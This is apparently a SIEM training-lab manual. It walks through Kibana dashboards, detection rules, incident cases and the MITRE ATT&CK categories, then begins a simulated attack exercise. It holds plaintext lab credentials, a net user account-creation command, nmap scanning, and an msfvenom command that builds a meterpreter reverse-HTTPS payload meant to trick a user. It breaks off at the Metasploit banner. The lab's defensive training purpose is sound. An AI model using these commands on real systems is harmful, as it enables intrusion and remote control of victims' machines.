Dashboards allow you to visualize data and to get after the data that you need faster.

We are going to create a very basic dashboard.

Go back to the Dashboards menu and click on Create Dashboard.



Click on Create visualization

(2) Create visualization	(İ)	All types \smallsetminus	🔁 Add from library
Select endgame-* as the in	ndex		
endgame-*		~ ====	

Drag and drop client.user.name into the visualization



You should see something similar to this:



Click on Save and return



You should now be back at your dashboard with your bar chart. **Create visualization** again.

Click on Bar vertical stacked and choose Table

Bar vertical stacked $ imes $	Ţ	≜= o	() ii	di.	া
Visualization type					
Q Filter options					
Tabular and single value					
Metric					
Table					

Drag event.kind to the Rows section



Drag client.ip to the Columns section



And click on metrics and ensure it says Count

Metrica		
Count of records	×	
Metrics)
Quick functions Formula		
Select a function		
Average	Median	
Count	Minimum	
Counter rate	Moving average	
Cumulative sum	Percentile	
Differences	Sum	
Last value	Unique count	
Maximum		
Select a field		

Click save and return

Save and return

You should be back to your dashboard and it should look similar to this:

🤗 elastic		Q Search Elastic									0 & 0
Editing New Dashboard							Unsaved changes	Options	Share	Switch to view mode	Save
🗊 🗸 Search						KQL	🗎 🖌 Today			Show dates	C Refresh
· → Add filter											
③ Create visualization (*) & All types ~	D Add from library										
[No Title]			0	[No Title]							0
1800				Top values of event.kind	~		10.91.0.23 > Count of rec	ords ~		10.91.0.22 > Cou	int of records \vee
3,400				event				986			982
1300 00000											
1,000											
8 800											
400											
200											
0 SYSTEM	DoD_Admin	dod_admin									
	Top values of client.user.name										

Continue to experiment with dashboards for 5-10 minutes to practice creating your own visualizations. You can choose to save or to just click out of your dashboard to move on to the next section.

Click on the three horizontal lines and choose Canvas under Analytics.

Click on Add your first workpad



Next click on Add data from the Sample Web logs graphic.



Click on view data and choose Canvas

50	Dashboard
â	Canvas
9	Мар
50	Logs
000	Graph
(**)	ML jobs

You should see a graphical representation of Web logs. **NOTE: if one of your** classmates has already done this portion, you will just click on the Web logs and view the canvas.

Next click on the 229 total visitors button.



Now click on Data on the right hand side under Selected element.



This tells you the exact query utilized by the sample data to display the number of visitors. In order to create your own canvas data, you will need to learn how to query your data and figure out what design you would like to use for your organization.

Now go back to the Canvas page and highlight and delete your Web Traffic logs.

Click on the three horizontal lines and then click on Graph beneath Analytics

Click on the Kibana Sample Data – Data Logs and briefly look at the graph to see how you can use data inputs to create graphs.



We will cover the Machine Learning and Security functions in later lessons.

Click on the three horizontal lines and scroll down to **Management** and click on **Stack Management**



This is where you can make administrative changes to your elastic stack.

Click on Ingest Pipelines

Ingest @

Ingest Pipelines

Type endgame in the search bar and you will see endgame-alerts



Click on endgame-alerts and look at the processors on the right hand side.

endgame-alerts

Description

Add ingesttime to alert events

Processors

What this is, is an ingest pipeline and the processors tell elastic what types of data to ingest based on the criteria set in the processor. In this scenario it adds an ingest timestamp to all endgame alerts.

Logstash pipelines are similar in concept.

Next, click on Index Management, under Data

Data 💿

Index Management

The Index management section shows the size of all of your indexes that you are ingesting. Don't modify anything here, just remember where it is in case you need to delete indexes to free up space at a later time.

Next, click on Index Lifecycle Policies

Data [®] Index Management Index Lifecycle Policies

Go to page 2 at the bottom right and click on endgame-ilm

Click on **Advanced Settings** under Hot phase and look at the information there. You will see that rollover is enabled. You will also see that endgame is rolling over logs every day.

Scroll down to Cold phase and click on Advanced settings. You will see that it says to move data into the phase after it is 2 days old.

Move data into phase when:	2	\$	days	\sim	old 🛈
----------------------------	---	----	------	--------	-------

You can modify these settings on different indexes to conserve storage or to store logs for longer periods, depending on the need of your organization.

There are other valuable options within the data section, but they will not be covered here. Feel free to browse through the Snapshot and Restore and other functions to explore other options.

Next click on Rules and Connectors under Alerts and Insights.

Alerts and Insights [®]

Rules and Connectors

Briefly look at a few of the alerts and see what they are doing. This allows you to monitor the Elastic stack itself to prevent issues before they happen.

Click on **Users** under the Security section.

Security [®]

Users

This section allows you to create individual user accounts for analysts or for distinct functions. You can also go to the Roles section and create new roles with custom permissions that you will assign your users to.

We won't cover API keys or Role mappings here.

Finally, click on **Index Patterns** under Kibana.

Kibana 🛛

Index Patterns

This is where you create index patterns that will store all of your sub indexes into a single index. For instance, anything that starts with winlogbeat- will go to the winlogbeat-* index. This is important to establish because different sub-indexes are created over time and need to be searchable with the same index pattern.

Click on the **endgame-*** index pattern



You will see that there are 602 fields that are used by the endgame-* index pattern. If you are having trouble searching for certain fields with Discover or other Elastic functions, make sure that they are configured in the fields section for the index pattern.

This concludes the SIEM overview task.

7.2.2 Security Alerting and Enabling Signatures in a SIEM

Login to Kibana <u>https://lab12345cyi.zt.local:5601</u> with the username **elastic** and the password **ch00\$3eL@\$t1c**

Click on the three horizontal lines and mouse over the Security and click on Overview.

😌 elastic		Q Search
Security	Search	
Overview		
Detect	S Introducing: Endpoint Security	
Alerts	Protect your hosts with threat prevention, detection, and deep security data visibility.	
Rules Exceptions	Try Endpoint Security Dismiss message	
Explore		
Hosts	Data sources V	
Network	Recent cases Detection alert trend	

As you scroll down, you will see a **Detection alert trend**. These are the alerts that trigger from detection rules directly within the Elastic SIEM.

Next, you will see an **External alert trend**. These events are generated from outside sources, such as zeek and suricata.



Next, you will see **Events**. This shows all events collected by the SIEM.



Scrolling down further you will see **Host events** and **Network events** and it will break them out based on where the alerts are originated from. Endpoint security events will show up in host events, where network based IDS's, netflow and Firewalls will show up in network events.

Host events Showing: 32,262 events	View hosts	Network events Showing: 1,066,070 events	View network
> Auditbeat	2,134 •	> Auditbeat	1,064,620
> Endpoint Security	29,443	> Filebeat	1,450
> Filebeat	0	> Packetbeat	0
> Winlogbeat	685		

If you scroll down to the bottom, you will see Threat Intelligence, which receives threat intelligence feeds and then queries your data to see if any indicators are present.

Now click on the **Rules** section on the left underneath Detect.

Detect					
Alerts					
Rules					
All rules	ds ago				
Showing 608 rules	Selected 0 rules	🕻 Select all 608 rules	Bulk actions \sim	C Refresh	Refresh settings \vee

You should see over 600 rules loaded in Elastic with a small number activated. You can tell if it is activated because the check box is checked in the Activated Column.



As an analyst it is your job to tune the rules and ensure each rule is working as intended. In smaller networks, I prefer to enable all rules and then tune out the noisy ones after you have analyzed the alerts that they generate. In a larger network with a large SIEM, you will want to activate a smaller number of rules at one time to prevent the chance of creating too many alert workflows and crashing your SIEM.

There is a high likelihood that many of the rules won't work without modification as well. This requires you to troubleshoot individual rules. My suggestion would be to individually validate each rule to ensure they are triggering when they are supposed to. We are going to generate an alert and then look in the alerts page to find the alert trigger and then analyze the rule that triggered it.

Open a **command prompt** on your **Windows System** and type the command **net user test10 password1234!@#\$ /add** and press enter when prompted.



This command creates a local user on the system with the username "test10" and the password "password1234!@#\$"

Now go back to the Alerts section in Elastic underneath Security



~

Overview

Alerts

You will see some alerts have triggered. It may take up to 10 minutes for your specific alert to trigger in the alerts dashboard. In the meantime, click on **Rules** on the left below Alerts.

Click on the **Custom rules (x)** button on the top right.

Elastic rules (608) Custom rules (1)

Find the rule "User Account Creation [Customized]" and click on it.

User Account Creation [Customized]

Look at the Definition section of the page and view the Index patterns and the custom query.

Definition	
Index patterns	winlogbeat-* endgame-*
Custom query	process where event.type in ("start", "process_started") and process.name : ("net.exe", "net1.exe") and not process.parent.name : "net.exe" and (process.args : "user" and process.args : ("/ad", "/add"))
Rule type	Event Correlation
Timeline template	Generic Threat Match Timeline

The rule is looking in the winlogbeat-* and endgame-* index patterns for the custom query rule match.

The custom query uses the event.type field and if it is "start" or "process_started" it then looks at the process.name field. If the process.name field is "net.exe" or "net1.exe" and the field process.parent.name does not equal "net.exe" then it looks at the final criteria. It then looks to see if process.args is equal to "user" and process.args is equal to either "/ad" or "/add".

If you analyze the rule, it is looking for someone executing **net.exe user (username)** (password) /add it doesn't specifify the password in the field, because it will always be random, but the user field will need to be specific in order to use the net user command.

Now go back to the Alerts page and you should see the User Account Creation rule trigger.



Find the event and **click** the **line with two arrows facing opposite directions** button to inspect it.



Scroll down until you can see process.args in the Overview tab of the alert.

Overview	Threat Intel Օ	Table JSON		
Document Su	mmary			
Status		Open		
Timestamp		Oct 21, 2022 @ 17:34:50.775		
Rule		User Account Creation [Customized]		
Severity		low		
Risk Score		21		
host.name		ZTWIN10Student1		
user.name		dod_admin		
process.nan	ne	net.exe		
process.par	ent.name	cmd.exe		
		net		
		user		
process.arg	s	test10		
-		password1234!@#\$		
		/add		

User Account Creation [Customized]

As you can see, it shows you the specific command that was typed "**net user test10** password1234!@#\$ /add"

This rule will now tell you whenever a local account is created on a system.

In the next section, we will create our own custom rule based on known threat events.

7.2.3 Custom Rule Creation in a SIEM

To start go to the triple horizontal lines at the top left in Kibana and click on **Overview** under **Security**.

Security

Overview

Next, click on Rules under Detect

Detect

Alerts

Rules

We are going to create a custom rule based on adversary TTPs.

We have just been given a specific adversary TTP that is being used across our Area of Operations and we need to create a rule to detect when the TTP is being used.

The Adversary's exploit is saving malicious .ps1 PowerShell scripts in the C:\Windows\Tasks directory for further execution.

For now, go to your Windows system and open notepad.exe.

Write a small sample of text and save the file as C:\Windows\Tasks\malwarexx.ps1 with the xx being your student #.

🧾 Untitled - Notepad	1		
File Edit Format	View Help		
this is a test	script		
Save As			×
$\leftrightarrow \rightarrow \uparrow $	« Local Disk (C:) > Windows > Tasks ~	ල් Search Tasks	م
Organize 👻 Ne	w folder		== - ?
🖈 Ouick access	^ Name	Date modified	Туре S
Desktop	malware	10/21/2022 6:09 PM	Windows PowerS
Downloads	stuff	10/21/2022 6:09 PM	Text Document
🚆 Documents	*		
Pictures	*		
📙 logs			
📙 pki			
📊 Tasks			
📙 winlogbeat			
💪 OneDrive			
💻 This PC	v <		>
File name:	malware.ps1		~
Save as type:	All Files		~
~			
∧ Hide Folders	Encoding: ANSI	✓ <u>S</u> ave	Cancel

You are creating a powershell event that will trigger the rule.

Go back to Kibana and Click on the Create new rule button at the top right.



We are going to select "Custom Query"

Rule type	3
Q	Custom query
	Use KQL or Lucene to detect

In the previous rule we looked at, they utilized an Event Correlation EQL query. We are going to use KQL, which is used when querying the Discover page within Elastic.

For the index patterns, we are going to use endgame-* winlogbeat-* and filebeat-*

Index patterns			
endgame-* \times	winlogbeat-* \times	filebeat-* \times	

Type the following custom query: file.directory:"C:\\Windows\\Tasks\\" and file.extension:"ps1"



This query chooses the C:\Windows\Tasks directory and triggers whenever a PowerShell script is created, deleted or modified in the directory. To complete queries, you need to put **two \'s** instead of **one** to ensure the query works. C:\\ instead of C:\

Next click on Preview results for the last hour

- Quick query preview		
Last hour	~	Preview results
There should be some hits in the results if you typed it correctly. It is possible it takes time for the logs to populate, but you can press **continue** for now.

Name the rule "Malicious APT StudentXX" XX is your student #.

Give it a basic description and set the severity to critical.

Scroll down to advanced settings and click the button.

Next click on the **MITRE ATT&CK tactic**. We will cover the Mitre ATT&CK more in Lesson 7.3 but for now choose **Execution (TA0002)**.

MITRE ATT&CK[™] threats

MITRE ATT&CK[™] tactic Execution (TA0002)

For Timestamp override, choose @timestamp

Timestamp override	
@timestamp	~

Choose **Continue** and now schedule the rule. Set it to run every minute with additional look-back time to be 10 minutes. This setting is going to be different based on the rule and the environment. We are setting it for every 1 minute because we want to be notifieid immediately and we are looking back at 10 minutes because Endgame's ingest is taking time to get populated into Elastic.

3	Schedule rule
	Runs every
	1 🗘 Minutes 🗸
	Rules run periodically and detect alerts within the specified time frame.
	Additional look-back time Optional
	10 🗘 Minutes 🗸
	Adds time to the look-back period to prevent missed alerts.

Press Continue and then Perform no rule actions and Create & activate rule.

The rule actions can be used to orchestrate automated response actions such as sending an e-mail or communicating with different applications upon the rule firing.

Ensure that your rule is activated. Now, you are going to go back to your windows system and create another file, this time it will be saved into C:\Windows\Tasks\ as APTXX.ps1



It will take somewhere between 5 and 10 minutes for your alert to trigger. In the meantime, feel free to browse additional alerts and look at the different queries that can be created to find activity.

You will see that the events do trigger:



That concludes this section.

7.2.4 Create an Incident Case within a SIEM

Continue where you left off from 7.2.3 in the Kibana Alerts page. Filter for your Malicious APT alert. Highlight your rule and click the + button for **filter in**.

Malicious APT Student0

Now find one of your alerts from the table and click the triple squares under actions.



And click Add to new case



Give it the name APT Case XX based on your student name and then studentxx as the tag and whatever you'd like in the Description. Then scroll down and create the case.

3

Create new case

Name	
APT Case 01	
Tags	Optional
student01 ×	S ~
Type one or more custom identifying tags for this case. Press enter after each tag to begin a new or	ie.
Description	
	O Preview

$\mathbf{B} I \coloneqq \blacksquare \blacksquare \blacksquare \blacksquare \blacksquare \blacksquare \blacksquare \blacksquare \blacksquare$	Preview
APT Event	
	MŦ

Now click on **Cases** underneath Investigate.

Cases					Open cases 1	In progress cases O	Closed cases 0	S Edit exter	mal connection	① Create new case
Q e.g. case name								All	~ Reporter	1 v Tags 1 v
Showing 1 case Selected 0 cases	Bulk actions 🗸 🛛 C Refres	h								
Name	Reporter	Tags	Alerts	Comments	Opened on ψ	External Incide	nt	Status		Actions
APT Case 01	e elastic	student01	1	1	1 minute ago	Not pushed		Open 🗸		Ē

Now, click on your case.

е	elastic added description 2 minutes ago	P	
	APT Case		
Ļ	elastic added an alert from Malicious APT Student0 2 minutes ago	Ð	>

Click on the > symbol where it says "elastic added an alert from Malicious APT studentXX"

Malicio	ous ΔΡΤ Stu	ident0	×
Overview	Threat Intel 0	Table JSON	
Reason			
file event v	vith process notepa	ad.exe, file APT01.ps1, by dod_admin on ZTWIN10Student1 created critical alert Malicious APT Student0.	
View Rule	detail page		
Document Su	mmary		
Status		Open	
Timestamp		Oct 21, 2022 @ 19:15:24.253	
Rule		Malicious APT Student0	
Severity		critical	
Risk Score		99	
host.name		ZTWIN10Student1	
user.name		dod_admin	
		Take act	tion 🗸

This shows the exact action that triggered the alert and allows you to go back to the information for further investigation.

It also allows you to send it to an external incident management system if you have one.

If you look at the host.name and the user.name it tells you which host was compromised and what user created the PowerShell file. This will allow you to disable the user account if needed (don't do it in the lab) and conduct further investigation on the hostname.

Go ahead and **click** on the **hostname** and it should bring up a new tab with the host.



You can now scroll down and look at user authentications, uncommon processes, anomalies, events, external alerts, and network connections to assist you with hunting for additional information about the alert.

Spend 5 or 10 more minutes looking at the cases tab and experimenting with the functionality. You can also modify the status of your case from open, to in progress or closed, and you can also add additional alerts to your case.

This concludes the section and lesson 7.2.

7.3 Visibility and Analytics Pillar Lesson 3 (Common Security and Risk Analytics)

Background

Per the DoD ZT Capabilities and Activities: Computer Network Defense Service Provider (CNDSP) or security operations centers (SOC) employ data tools across their enterprises for multiple data types to unify data collection and examine events, activities, and behaviors.

In the following Lab, the student will utilize a SIEM to perform common security and risk analytic functions required of a CNDSP or a SOC analyst.

Prior to attempting the lab, please review Course Slides "7.3 Pillar 7 Visibility and Analytics – Common Security and Risk Analytics".

Outcomes

- 1) Student will gain a basic understanding of the Mitre ATT&CK Framework and how it applies to Security analytics.
- Student will trigger common Mitre ATT&CK events for reconnaissance, initial access, execution, persistence, privilege escalation, defense evasion, credential access, lateral movement, and exfiltration.

Lab Infrastructure

Required Lab Machines:

Function	Hostname	IP Address
Elastic	lab12345csim2	10.91.0.2
Endgame	lab12345csim1	10.91.0.3
Logstash + Kibana	lab12345csyi	10.91.0.4
Syslog Server	lab12345csya	10.91.0.5
Security Onion	ZTLabIDS	10.91.0.6
Domain Controller	ZTLabDC1	10.91.0.10
Score Server	ZTScore	10.91.0.11
Kali Box	ZTKali	Student
Windows Student	ZTWinStudentXX	Student

Duration: 60 - 90 Minutes

Task

7.3.1 Mitre ATT&CK Framework Common Security Threats

Take about five minutes to review the Mitre ATT&CK framework at https://attack.mitre.org and look at the 14 categories of techniques used with numerous techniques and sub-techniques under them. Gaining an understanding of adversary techniques will allow analysts and security practitioners the ability to understand the adversary and then use that information to detect/prevent malicious activity. These categories typically proceed in order. Adversaries will conduct reconnaissance and then follow it up with resource development and so on depending on the adversary's goals. Also, take note of the Mitre ATT&CK technique numbers such as TA0043 because these technique numbers are usually listed in signatures you will find in your SIEM.

Reconnaissance



The first category is **reconnaissance**. There are 10 reconnaissance techniques used by adversaries with the sub techniques listed after the technique, for instance Active Scanning (3) has 3 sub techniques. Adversaries utilize reconnaissance techniques to gather information about an organization and look for vulnerabilities, targets (services, people, and more) and other valuable information.



The second category is **resource development**. After an adversary conducts reconnaissance they will develop their attack architecture and resources and develop a strategy to go after their target. This is the most difficult category to detect because most of the resource development is done outside the view of the victim organization.



The third category is initial access. Initial access is where the adversary gains their initial foothold into the network. Some of the most common techniques are phishing and client side attacks that rely on interaction from users to open a payload that was created during the resource development stage. Public facing resources are also commonly exploited and used as an entry point into an environment.

Execution

13 techniques

	Command and Scripting Interpreter ₍₈₎		
	ontainer dministration ommand		
D	eploy Container		
E) E)	ploitation for Client		
	Inter-Process Communication ₍₃₎		
N	ative API		
	Scheduled Task/Job ₍₅₎		
Se	erverless Execution		
s	nared Modules		
So To	oftware Deployment		
п	System Services (2)		
ш	User Execution (3)		
Windows Management Instrumentation			

The fourth category is **execution**. Execution at times goes hand-in-hand with the initial access category. For instance, the adversary may send a link to a user and then the user executes a payload to give the adversary initial access into the environment. Execution is the act of opening / executing some type of command or code that provides functions for an adversary.





The fifth category is **persistence**. Persistence allows the adversary to stay within the victim environment for extended periods of time. Adversaries utilize numerous techniques to gain persistence, which range from gaining user credentials, to manipulating system startup scripts or many other techniques. Adversaires value persistence because it is much easier to detect the initial access and execution of malware than it is to detect an adversary hiding within a network. They typically don't want to get caught.

	Privilege Escalation 13 techniques
	Abuse Elevation Control Mechanism ₍₄₎
	Access Token Manipulation ₍₅₎
	Boot or Logon Autostart Execution ₍₁₄₎
	Boot or Logon Initialization Scripts ₍₅₎
	Create or Modify System Process ₍₄₎
	Domain Policy Modification ₍₂₎
Es	scape to Host
	Event Triggered Execution (16)
E> Pr	ploitation for ivilege Escalation
	Hijack Execution Flow (12)
	Process Injection (12)
	Scheduled Task/Job (5)
	Valid Accounts $_{(4)}$

The sixth category is **privilege escalation**. An adversary typically won't gain immediate privileged access unless they successfully compromise a critical remote code execution (RCE) type vulnerability. Most client side attacks will give an adversary user level access. There are times when user level access will be enough, but most adversaries want to gain higher level access to get after more data, or to use the privileges to hide better and enable persistence.

42 techniques	Exploitation for Defense Evasion	II Modify System Image (2)	System Script Proxy Execution (1)
House Elevation Control Mechanism (4)	File and Directory Permissions	Network Boundary Bridging (1)	Template Injection
Access Token Manipulation (5)	II Hide Artifacts (10)	Obfuscated Files or Information ₍₉₎	II Traffic Signaling ₍₂₎ Trusted Developer
BITS Jobs	Hijack Execution Flow (12)	Plist File Modification	II Utilities Proxy Execution (1)
Build Image on Host	II Impair Defenses (9)	II Pre-OS Boot (5)	Unused/Unsupported
Debugger Evasion	II Indicator Removal (9)	II Process Injection (12)	Cloud Regions
Deobfuscate/Decode Files or Information	Indirect Command Execution	Reflective Code Loading	Use Alternate II Authentication Material (4)
Deploy Container	II Masquerading (7)	Rogue Domain Controller	I Valid Accounts (4)
Direct Volume Access	Modify Authentication		Virtualization/Sandbox
Domain Policy	Modify Cloud Compute	Controls (6)	Evasion (3)
Modification (2)	Infrastructure (4)	System Binary Proxy	II Weaken Encryption (2)
II Execution Guardrails (1)	Modify Registry	Execution (13)	XSL Script Processing

Defense Evasion

The seventh category is **defense evasion**. Ther are a significant number of techniques used to evade defenses. Defense evasion techniques are used to evade IDS/IPS and endpoint security controls as well as techniques designed to throw off the analysts who are charged with defending the environment. One example of this is installing a rootkit on a system that hides all of your actions. Another technique may be to inject malicious code into a legitmate process. It is important to review the techniques and build your security architecture to detect/prevent these actions.



The eight category is **credential access**. Credential access are techniques the adversary utilizes to gain credentials from an organization. There are times when an organization utilizes default credentials or easily guessed credentials. In these cases, the credential access and initial access are one and the same. You can see that the techniques don't necessarily have to be in order, but can be. One example of credential access are stealing passwords from local systems through hashes and later cracking them. Another example may be running tcpdump or wireshark and sniff for users entering their passwords into a cleartext protocol such as HTTP.

		Query Registry		
		Remote System Discovery		
Discovery	Debugger Evasion	II Software Discovery (1)		
30 techniques	Domain Trust Discovery	System Information		
II Account Discovery (4)	File and Directory			
Application Window	Discovery	System Location		
Discovery	Group Policy Discovery			
Browser Bookmark	Network Service Discovery	System Network Configuration Discovery (a)		
Discovery	Network Share Discovery			
Cloud Infrastructure Discovery	Network Sniffing	System Network Connections Discovery		
Cloud Service Dashboard	Password Policy Discovery	System Owner/User Discovery		
Cloud Service Discovery	Peripheral Device	Discovery		
Cloud Storage Object	Discovery	System Service Discovery		
Discovery	Permission Groups	System Time Discovery		
Container and Resource	51050101 y (3)	, Virtualization/Sandbox		
Discovery	Process Discovery	" Evasion ₍₃₎		

The ninth category is **discovery**. Discovery techniques are very similar to reconnaissance, however discovery is typically done from within the target network. One example of a discovery tool is the Bloodhound tool used by adversaries to identify different active directory vulnerabilities and resources. A lot of discovery techniques look similar to regular administrative functions and can be difficult at times to detect without quality technique signatures or playbooks.



The tenth category is **lateral movement**. Lateral movement consists of the adversary using their initial access into the network to pivot to other resources or endpoints and gaining additional access, information, persistence and increasing their foothold into the environment. Adversaries tend to use a variety of tools such as impacket or PowerShell remoting to connect to other systems.

Collection

17 techniques

H Adversary-in-the- Middle (3)	Data from Information Repositories (2)
II Collected Data (3)	Data from Local System
Audio Capture	Data from Network
Automated Collection	Data from Removable Media
Browser Session Hijacking	II Data Staged (2)
Clipboard Data	Email
Data from Cloud	
otorage	in input capture (4)
Data from	Screen Capture
Repository (2)	Video Capture

The eleventh category is **collection**. Collection consists of the adversary capturing files, sensitive information, passwords, databases, screenshots, e-mails or whatever else they can find of value and staging them for exfiltration at a later time.

Command and Control 16 techniques	
Application Layer Protocol ₍₄₎	
Communication Through Removable Media	Multi-Stage Channels
II Data Encoding ₍₂₎	Non-Application Layer Protocol
Data Obfuscation (3)	Non-Standard Port
Dunomio	Protocol Tunneling
Resolution (3)	II Proxy (4)
Encrypted Channel (2)	Remote Access Software
Fallback Channels	Traffic Signaling (2)
Ingress Tool Transfer	Web Service (3)

The twelfth category is **command and control**. Command and control is the mechanism utilized by the adversary to maintain persistence and to execute actions on the compromised hosts. One example is a Cobalt Strike beacon that has been installed on a victim machine. Command and Control mechanisms are normally encrypted in transit and have anti-forensics mechanisms built into the executable. Their payloads may have been prepared with defense evasion techniques to prevent detection. Identifying, removing and preventing adversary command and control mechanisms will greatly hinder and adversaries actions.

Exfiltration

	9 techniques
"	Automated Exfiltration (1)
Da Si	ata Transfer ze Limits
II	Exfiltration Over Alternative Protocol ₍₃₎
E) C:	diltration Over 2 Channel
11	Exfiltration Over Other Network Medium ₍₁₎
II	Exfiltration Over Physical Medium ₍₁₎
II	Exfiltration Over Web Service ₍₂₎
So Tr	cheduled ransfer
Tr Cl	ansfer Data to oud Account

The thirteenth category is **exfiltration**. Exfiltration is the act of taking the information/data/assets collected and moving them to a location owned by the adversary that they can then sell/use the information collected.

Impact				
	13 techniques			
A(R(ccount Access emoval			
D	ata Destruction			
Da In	ata Encrypted for npact			
II	Data Manipulation ₍₃₎			
II	Defacement (2)			
II	Disk Wipe ₍₂₎			
II	Endpoint Denial of Service (4)			
Fi Co	rmware orruption			
In R(hibit System ecovery			
II	Network Denial of Service ₍₂₎			
R	esource Hijacking			
Se	ervice Stop			
S) Si	/stem hutdown/Reboot			
- ,				

The fourteenth and final category is **impact**. Impact is typically the final action and adversary will take after it has exfiltrated information. There are adversaries that never use impact to prevent from being caught, because impact will definitely let the organization know that something is wrong. Most cases of impact today that we see are Ransomware attacks where the adversary encrypts all of the organization's data and holds them hostage to collect a payment for unencrypted their data.

7.3.2 Mitre ATT&CK Stimulation and Response Exercise for Common Security Threats

In this exercise, the student will trigger common Mitre ATT&CK events for reconnaissance, initial access, execution, persistence, privilege escalation, defense evasion, credential access, and lateral movement.

Before starting this exercise, please ensure you have a Kali linux or other attacker box to complete the following labs.

Reconnaissance: NMAP scan

Begin by testing lab connectivity and doing a ping to 10.91.1.22.

```
(zerotrust@ ztkali)-[~]
$ ping 10.91.1.22
PING 10.91.1.22 (10.91.1.22) 56(84) bytes of data.
64 bytes from 10.91.1.22: icmp_seq=1 ttl=127 time=0.802 ms
64 bytes from 10.91.1.22: icmp_seq=2 ttl=127 time=0.750 ms
64 bytes from 10.91.1.22: icmp_seq=3 ttl=127 time=0.637 ms
```

If you can successfully ping, then move on to the next step, if not then double check with your instructor on your network security settings.

```
-(zerotrust®ztkali)-[~]
└─$ nmap -A -sV -Pn 10.91.1.22
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-08 20:14 UTC
Nmap scan report for 10.91.1.22
Host is up (0.00064s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
                            VERSION
                            Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
 smb2-time:
   date: 2022-11-08T20:15:05
  start_date: N/A
 smb2-security-mode:
    3.1.1:
      Message signing enabled but not required
| clock-skew: -18s
Service detection performed. Please report any incorrect results at https://n
map.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.69 seconds
```

Type the following command "**nmap –A –sV –Pn 10.91.1.22**" and look at the output (it should be similar to above).

Open Elastic and go to Discover under Analytics.

Add the following filter: event.module: suricata

Your screen should look similar the below screenshot:

44	hits						
30							
10					_		
0	:00	03:00 06	3:00 O:	9:00 1:	2:00	15:00	18:00
				Nov 8, 2022 @ 00:00:00.000 -	Nov 8, 2022 @ 23:59:59.999		
	Time ↓	Document					
>	Nov 8, 2022 @ 20:19:47.579	event.module: suricata @timestamp:	Nov 8, 2022 @ 20:19:47.579 @ve	ersion: 1 agent.ephemeral_id: 1	c66bc3f-cedf-476d-8d2b-606c716	0f534 agent.hostname: ztlabids	agent.id: a9d548b2-4559-4
		agent.name: ztlabids agent.type: f	filebeat agent.version: 7.16.3	destination.address: 10.91.1.22	destination.ip: 10.91.1.22 d	estination.port: 445 ecs.version	1.12.0 event.category:
		event.created: Nov 8, 2022 @ 20:19	:50.491 event.dataset: suricata	.eve event.ingested: Nov 8, 202	22 @ 20:19:50.923 event.kind:	alert event.original:	
		{"timestamp":"2022-11-08T20:19:47.5	79106+0000","flow_id":203508316	0154423,"in_iface":"bond0","ever	nt_type":"alert","src_ip":"10.9	1.0.21","src_port":39612,"dest_i	p":"10.91.1.22","dest_por
		6aWYpPdzqK061wqANzYRA+TlE=","alert"	:{"action":"allowed","gid":1,"s	ignature_id":2023753,"rev":3,"si	ignature":"ET SCAN MS Terminal	Server Traffic on Non-standard P	ort","category":"Attempte
>	Nov 8, 2022 @ 20:19:45.592	event.module: suricata @timestamp:	Nov 8, 2022 @ 20:19:45.592 @ve	ersion: 1 agent.ephemeral_id: 1	c66bc3f-cedf-476d-8d2b-606c716	0f534 agent.hostname: ztlabids	agent.id: a9d548b2-4559-4
		agent.name: ztlabids agent.type: f	filebeat agent.version: 7.16.3	destination.address: 10.91.1.22	destination.ip: 10.91.1.22 d	estination.port: 445 ecs.version	1.12.0 event.category:
		event.created: Nov 8, 2022 @ 20:19	:50.490 event.dataset: suricata	.eve event.ingested: Nov 8, 202	22 @ 20:19:50.922 event.kind:	alert event.original:	
		{"timestamp":"2022-11-08T20:19:45.5	92106+0000","flow_id":147118401	8974761,"in_iface":"bond0","ever	nt_type":"alert","src_ip":"10.9	1.0.21","src_port":39766,"dest_i	p":"10.91.1.22","dest_por
		{"flowbits":["ET.MSSQL"]},"communit	y_id":"1:otnmdjV9V+4olk3gxz9q6M	<pre>JptQQ=","alert":{"action":"allow</pre>	ved","gid":1,"signature_id":201	3409,"rev":3,"signature":"ET POL	ICY Outbound MSSQL Connec

You should see numerous alerts generated in suricata depicting scan activity.

Resource Development:

In our example, we are going to setup our resources. From your kali system, type the following command: msfvenom –p windows/x64/meterpreter_reverse_https LHOST=YOURIP LPORT=443 –f exe > payloadname.exe

```
(zerotrust@ztkali)-[~]
$ msfvenom -p windows/x64/meterpreter_reverse_https LHOST=10.91.0.21 LPORT=
443 -f exe > payload.exe
```

You have generated a payload that you are going to try and trick the user into clicking on and executing. I have decided to call mine pockettanks.exe

Now open metasploit to create a listener to catch the shell. Type and enter: **msfconsole**

You should see something like the image below:

%%%%	6%%	%%%	\$%%%	%%%%	%%% %	\$%%%%	%%%% %	%% %?	%% %%	%%%	%%%	%%%%?	%%% %%	%%%	%%%%	%%%	%%
%%		%%	%		%	.%%%% <u>}</u>	<mark>6%%%%</mark>	%%% ?	%%%%	%%%	%%%	%%%%9	%%% %%	%%%	%%%%	%%%	%%
%%	%%	%	%%%	%%%%	6 %	<mark>%%%%</mark> %	«%%%%	%%% 9	%%% %	%%%	%%%	%%%%%	%%% %%	%%%	%%%%	%%%	%%
%%	%	%%	%%%	%%%	%%	\$***	%%%% %	ht	tps:	//m	eta	sploi	it.co	m %3	%%%%	%%%	%%
%%	%%	%	%%%	%%	%%%	.%%%% %	<mark>6%%%%</mark>	%%% 9	%%%%	%%%	%%%	%%%%%	%%% %%	%%%	%%%%	%%%	%%
%%	%%	%%%	%%%	%	%%%%	\$***	<mark>6%%%%</mark>	%% %9	%%% %	%%%	%%%	%%%%%	%%% %%	%%%	%%%%	%%%	%%
%%%%	6%%	%%%	\$%%%	%%%%	<mark>6%%%</mark> %	\$%%%%%	<mark>6%%%%</mark>	%% %9	%% %%	%%%	%%%	%%%%9	%%% %	%%%	%%%%	%%%	%%3
%%%%	6%	%%	%	%%%%	<mark>6%%%</mark> %	\$%%%%%	<mark>6%%%%</mark>	%% %9	%% %%	%%%	%%%	%%%%9	%%% %	%%%	%%%%	%%%	%%3
%%%9	6	%	<i>%</i>	%%%	6%%%%	%%%%	%%%%	6%%9	%% %%	%%%	%%%	%%%%9	%%%% %	%%%	%%%%	%%%	%%3
%%%9	6	%%	%%	%		%%		%%	%	%%%	%	9	6	%%%	%%	%	%
